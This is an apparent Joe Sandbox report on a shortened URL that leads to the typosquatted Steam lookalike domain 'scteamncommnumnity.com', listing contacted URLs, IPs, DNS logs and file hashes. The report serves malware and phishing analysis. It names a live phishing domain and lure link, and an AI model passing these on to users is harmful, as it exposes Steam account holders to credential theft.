https://cdn.akamai.steamstatic.com/store/promo/newstore2016/homepage_long_01.jpg?v=1);	chromecache_347.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/friendindicator_small.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/css/applications/store/main.css?v=pEy7_oS8JGAJ&l=eng	chromecache_488.2.dr, chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
http://api.jqueryui.com/size-effect/	chromecache_544.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_511.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/wizard/HelpWithWalletCode	chromecache_463.2.dr, chromecache_452.2.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/chat/	chromecache_572.2.dr, chromecache_413.2.dr, chromecache_464.2.dr, chromecache_399.2.dr, chromecache_238.2.dr, chromecache_254.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_hexagons.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/client/installer/steam.dmg	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_en	chromecache_488.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=w	chromecache_488.2.dr, chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png	chromecache_222.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unsupported.svg	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/vi/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/steam_refunds/?snr=1_mobilehome_14__global-responsive-menu	chromecache_488.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/de/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/fi/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_space.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer	chromecache_534.2.dr, chromecache_453.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_1.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/3070070/capsule_231x87.jpg?t=1726	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/?snr=1_14_4__global-responsive-menu	chromecache_219.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/friends/recommendgame	chromecache_213.2.dr, chromecache_249.2.dr, chromecache_211.2.dr, chromecache_361.2.dr	false	Avira URL Cloud: safe	unknown
http://www.robertpenner.com/easing)	chromecache_544.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/header/inbox_moderator_message.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/account/cookiepreferences/	chromecache_355.2.dr, chromecache_466.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	chromecache_447.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
http://api.jqueryui.com/drop-effect/	chromecache_544.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/genre/Early%20Access/	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/bg/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/270880/capsule_231x87.jpg?t=17265	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
http://diveintomark.org/)	chromecache_212.2.dr, chromecache_541.2.dr, chromecache_409.2.dr	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/contact	chromecache_514.2.dr, chromecache_511.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_3-4.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/public/shared/images/buttons/icon_double_arrows.png	chromecache_300.2.dr	false	Avira URL Cloud: safe	unknown
http://www.steampowered.com/steamworks/	chromecache_488.2.dr, chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/app/1627570/The_Plucky_Squire/	chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_geo_7-8.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_shapes_3.png?v=2	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_waterelement.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
http://bugs.jquery.com/ticket/8235	chromecache_544.2.dr, chromecache_529.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/hu/	chromecache_447.2.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	chromecache_488.2.dr, chromecache_219.2.dr, chromecache_447.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_488.2.dr, chromecache_219.2.dr, chromecache_208.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/search/smallcapscroll	chromecache_213.2.dr, chromecache_249.2.dr, chromecache_211.2.dr, chromecache_361.2.dr	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/ru/wizard/HelpWithLimitedAccount	chromecache_572.2.dr, chromecache_399.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/apps/steam-chat/steam-chat-app-1.0.8.apk	chromecache_488.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_crystals.png	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.pn	chromecache_465.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.129.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
2.19.126.208	cdn.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
2.19.126.227	unknown	European Union	16625	AKAMAI-ASUS	false
23.192.247.89	api.steampowered.com	United States	16625	AKAMAI-ASUS	false
2.16.241.6	unknown	European Union	20940	AKAMAI-ASN1EU	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
172.67.184.158	fonts.cdnfonts.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.195	recaptcha.net	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	unknown	United States	54113	FASTLYUS	false
104.18.42.105	community.cloudflare.steamstatic.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
2.16.168.12	unknown	European Union	20940	AKAMAI-ASN1EU	false
23.206.17.37	s.team	United States	16625	AKAMAI-ASUS	false
23.50.98.133	help.steampowered.com	United States	16625	AKAMAI-ASUS	false
2.19.126.135	unknown	European Union	16625	AKAMAI-ASUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.16.168.4	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.16.168.6	store.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
188.114.96.3	scteamncommnumnity.com	European Union	13335	CLOUDFLARENETUS	false
172.217.23.100	unknown	United States	15169	GOOGLEUS	false
195.216.243.155	u.to	United Kingdom	57724	DDOS-GUARDRU	false
88.221.169.65	store.steampowered.com	European Union	16625	AKAMAI-ASUS	false
2.16.202.113	community.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
172.217.16.195	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false
95.101.54.226	unknown	European Union	34164	AKAMAI-LONGB	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1512743
Start date and time:	2024-09-17 19:20:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://u.to/UKDgIA
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@33/605@84/31
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://store.steampowered.com/mobile Browse: https://help.steampowered.com/ru/ Browse: https://store.steampowered.com/about/

Source	URL
Screenshot	https://store.steampowered.com/login/?14__global-header
Screenshot	https://s.team/q/1/2248518814943508887

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1160 x 732, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	43398
Entropy (8bit):	7.850844294437546
Encrypted:	false
SSDEEP:	768:5Ts0PYXH1SiiG2jgLGiPujV50la+Ehi3V77OFl8lgzbo8LmI1u6gz0:5PQXH19fLGeujVCloy5GlBs8Lz06gg
MD5:	20D616438BA3649D5E38674BC147C5B2
SHA1:	96CCE3481DF5AA13973293981AE4875CEC0D7B3F
SHA-256:	823E0109F8F10E6209B6B03A230A842D75CAC4ACEDAF1774C635D8CDF99C4887
SHA-512:	3CE582C312B6FEEDDFD94F0FB0BE198300C12320FB04F64CBB49083188D264090BEC3D8AC5AE9E74C95ED5A180354C7B17403E337F37891D2E7F7A920717ED47
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...(IDATx...ol...'.".d...4..=......@...@v.,...`..+O.....;A..{...ro.}w.7.{....xm.$/...^...g....>....s...G3..!)R...E.[...f....\|.6gF..U..j..\|~./I...................0...[.~.B......#...t.v.q../.t.J.- .......?.l>.0.......q...~..............\|.e4...!y...Gw~...........t..7..p.42...$.I...w~....v`."`.z.}'.R...p....?..ig."`....&......'..2NS..D.......g(B./.K%....a.N.C...._X.......EK.oD...j$...3.../}......Q?.S...Z.~b.2....>?.S.L1.FQ,g/......~.."`...!...J..7..........=t.H...%..(...5_3...@...L.....1.^.~o.I..v.$..p`bz.I&....1.....F....{.}...J...e0.........3}..._...<~..0F.....@Y...Qr.....%vsTw\@....Pq."...........T.........D.....' .....8.....@.......N@....Pq."...........T.........D.....' .....8.....@.......N@....Pq5C....W..W.m.....>...=.xh.......W....\|.7.W....$[...>...)..@."..../....t..N.......}.T.9.3.q....x2...........0.-^:...-....`....N.Tm. ....% .....8.....@.......N@....Pq."...........T...

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 17, 2024 19:21:09.189582109 CEST	192.168.2.4	1.1.1.1	0xe72b	Standard query (0)	u.to	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:09.190032005 CEST	192.168.2.4	1.1.1.1	0x45bf	Standard query (0)	u.to	65	IN (0x0001)	false
Sep 17, 2024 19:21:11.775754929 CEST	192.168.2.4	1.1.1.1	0x7075	Standard query (0)	scteamncommnumnity.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:11.776504993 CEST	192.168.2.4	1.1.1.1	0x3eb8	Standard query (0)	scteamncommnumnity.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:11.914872885 CEST	192.168.2.4	1.1.1.1	0x77c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:11.915345907 CEST	192.168.2.4	1.1.1.1	0x33be	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:14.140862942 CEST	192.168.2.4	1.1.1.1	0x9621	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.146214008 CEST	192.168.2.4	1.1.1.1	0x2002	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:14.157929897 CEST	192.168.2.4	1.1.1.1	0x991	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.158664942 CEST	192.168.2.4	1.1.1.1	0x3e29	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:14.159565926 CEST	192.168.2.4	1.1.1.1	0x1252	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.160007954 CEST	192.168.2.4	1.1.1.1	0x4ace	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:14.960411072 CEST	192.168.2.4	1.1.1.1	0x5dae	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.961088896 CEST	192.168.2.4	1.1.1.1	0x5497	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:15.503006935 CEST	192.168.2.4	1.1.1.1	0xb011	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.503427029 CEST	192.168.2.4	1.1.1.1	0xbccd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:15.505125046 CEST	192.168.2.4	1.1.1.1	0x667	Standard query (0)	scteamncommnumnity.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.505539894 CEST	192.168.2.4	1.1.1.1	0xc0c6	Standard query (0)	scteamncommnumnity.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:16.242142916 CEST	192.168.2.4	1.1.1.1	0x9804	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:16.242278099 CEST	192.168.2.4	1.1.1.1	0x4874	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:17.939783096 CEST	192.168.2.4	1.1.1.1	0x2b7e	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:17.940134048 CEST	192.168.2.4	1.1.1.1	0x9a5	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Sep 17, 2024 19:21:17.942503929 CEST	192.168.2.4	1.1.1.1	0x6559	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:17.942631006 CEST	192.168.2.4	1.1.1.1	0xe85b	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:18.079224110 CEST	192.168.2.4	1.1.1.1	0xb5f8	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.079400063 CEST	192.168.2.4	1.1.1.1	0x7283	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:18.630376101 CEST	192.168.2.4	1.1.1.1	0xc69c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.630587101 CEST	192.168.2.4	1.1.1.1	0xf6d2	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:18.881104946 CEST	192.168.2.4	1.1.1.1	0x1786	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:18.881402016 CEST	192.168.2.4	1.1.1.1	0xf69f	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Sep 17, 2024 19:21:19.587308884 CEST	192.168.2.4	1.1.1.1	0xe579	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:19.587908030 CEST	192.168.2.4	1.1.1.1	0x5e65	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:23.187406063 CEST	192.168.2.4	1.1.1.1	0xc4b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:23.187556028 CEST	192.168.2.4	1.1.1.1	0x3a1b	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:24.899776936 CEST	192.168.2.4	1.1.1.1	0x353f	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:24.900556087 CEST	192.168.2.4	1.1.1.1	0x9d2	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:43.732748032 CEST	192.168.2.4	1.1.1.1	0xf4da	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:43.733123064 CEST	192.168.2.4	1.1.1.1	0xf439	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 17, 2024 19:21:44.338573933 CEST	192.168.2.4	1.1.1.1	0xba06	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.342125893 CEST	192.168.2.4	1.1.1.1	0xc4aa	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Sep 17, 2024 19:21:44.741131067 CEST	192.168.2.4	1.1.1.1	0x3f5e	Standard query (0)	fonts.cdnfonts.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:44.741242886 CEST	192.168.2.4	1.1.1.1	0xbb5a	Standard query (0)	fonts.cdnfonts.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:46.600349903 CEST	192.168.2.4	1.1.1.1	0xa3de	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:46.600505114 CEST	192.168.2.4	1.1.1.1	0x1fd4	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:46.600909948 CEST	192.168.2.4	1.1.1.1	0x8213	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:46.601058960 CEST	192.168.2.4	1.1.1.1	0xeddd	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:47.237077951 CEST	192.168.2.4	1.1.1.1	0x7939	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.237077951 CEST	192.168.2.4	1.1.1.1	0xc7fc	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:47.564975023 CEST	192.168.2.4	1.1.1.1	0xdd9f	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:47.564975023 CEST	192.168.2.4	1.1.1.1	0x264d	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:49.382750988 CEST	192.168.2.4	1.1.1.1	0xee2f	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:49.383379936 CEST	192.168.2.4	1.1.1.1	0x1507	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:21:51.421339989 CEST	192.168.2.4	1.1.1.1	0xa2d2	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:51.421556950 CEST	192.168.2.4	1.1.1.1	0xac32	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:00.650691986 CEST	192.168.2.4	1.1.1.1	0xf20f	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:00.650871038 CEST	192.168.2.4	1.1.1.1	0x437c	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:04.967020035 CEST	192.168.2.4	1.1.1.1	0x7dd4	Standard query (0)	s.team	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:04.971287012 CEST	192.168.2.4	1.1.1.1	0x78a6	Standard query (0)	s.team	65	IN (0x0001)	false
Sep 17, 2024 19:22:08.290281057 CEST	192.168.2.4	1.1.1.1	0xa9cf	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:08.290472031 CEST	192.168.2.4	1.1.1.1	0xaba7	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:08.527020931 CEST	192.168.2.4	1.1.1.1	0xcb42	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:08.527225018 CEST	192.168.2.4	1.1.1.1	0x405c	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:09.538602114 CEST	192.168.2.4	1.1.1.1	0xe83e	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:09.538723946 CEST	192.168.2.4	1.1.1.1	0xb5b2	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:09.573420048 CEST	192.168.2.4	1.1.1.1	0xd8b5	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:09.573535919 CEST	192.168.2.4	1.1.1.1	0x78d9	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:10.582978010 CEST	192.168.2.4	1.1.1.1	0x54fd	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:10.583121061 CEST	192.168.2.4	1.1.1.1	0x5cc2	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:10.835832119 CEST	192.168.2.4	1.1.1.1	0xd3fc	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:10.835952044 CEST	192.168.2.4	1.1.1.1	0xff3b	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:11.148276091 CEST	192.168.2.4	1.1.1.1	0x8fed	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:11.148276091 CEST	192.168.2.4	1.1.1.1	0x1006	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:13.227421045 CEST	192.168.2.4	1.1.1.1	0x2ffb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:13.279416084 CEST	192.168.2.4	1.1.1.1	0x411	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:13.693475962 CEST	192.168.2.4	1.1.1.1	0x586c	Standard query (0)	shared.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:13.693943024 CEST	192.168.2.4	1.1.1.1	0x7661	Standard query (0)	shared.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:15.109185934 CEST	192.168.2.4	1.1.1.1	0xdd36	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:15.109565973 CEST	192.168.2.4	1.1.1.1	0xe20c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:15.122203112 CEST	192.168.2.4	1.1.1.1	0x5b2f	Standard query (0)	shared.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:15.122899055 CEST	192.168.2.4	1.1.1.1	0x1388	Standard query (0)	shared.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:20.782906055 CEST	192.168.2.4	1.1.1.1	0xd6cb	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:20.783027887 CEST	192.168.2.4	1.1.1.1	0x9673	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Sep 17, 2024 19:22:23.467633963 CEST	192.168.2.4	1.1.1.1	0x9f8c	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:22:23.467981100 CEST	192.168.2.4	1.1.1.1	0x14ca	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 17, 2024 19:21:09.244491100 CEST	1.1.1.1	192.168.2.4	0xe72b	No error (0)	u.to		195.216.243.155	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:11.790129900 CEST	1.1.1.1	192.168.2.4	0x7075	No error (0)	scteamncommnumnity.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:11.790129900 CEST	1.1.1.1	192.168.2.4	0x7075	No error (0)	scteamncommnumnity.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:11.814804077 CEST	1.1.1.1	192.168.2.4	0x3eb8	No error (0)	scteamncommnumnity.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:11.922174931 CEST	1.1.1.1	192.168.2.4	0x33be	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:11.922205925 CEST	1.1.1.1	192.168.2.4	0x77c	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.148618937 CEST	1.1.1.1	192.168.2.4	0x9621	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.148618937 CEST	1.1.1.1	192.168.2.4	0x9621	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167076111 CEST	1.1.1.1	192.168.2.4	0x991	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167076111 CEST	1.1.1.1	192.168.2.4	0x991	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167107105 CEST	1.1.1.1	192.168.2.4	0x1252	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167107105 CEST	1.1.1.1	192.168.2.4	0x1252	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167107105 CEST	1.1.1.1	192.168.2.4	0x1252	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167107105 CEST	1.1.1.1	192.168.2.4	0x1252	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.167418957 CEST	1.1.1.1	192.168.2.4	0x3e29	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:14.967777967 CEST	1.1.1.1	192.168.2.4	0x5dae	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.967777967 CEST	1.1.1.1	192.168.2.4	0x5dae	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:14.968807936 CEST	1.1.1.1	192.168.2.4	0x5497	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 17, 2024 19:21:15.509903908 CEST	1.1.1.1	192.168.2.4	0xb011	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.509903908 CEST	1.1.1.1	192.168.2.4	0xb011	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.509903908 CEST	1.1.1.1	192.168.2.4	0xb011	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.509903908 CEST	1.1.1.1	192.168.2.4	0xb011	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 17, 2024 19:21:15.515295982 CEST	1.1.1.1	192.168.2.4	0x667	No error (0)	scteamncommnumnity.com		188.114.96.3	A (IP address)	IN (0x0001)	false
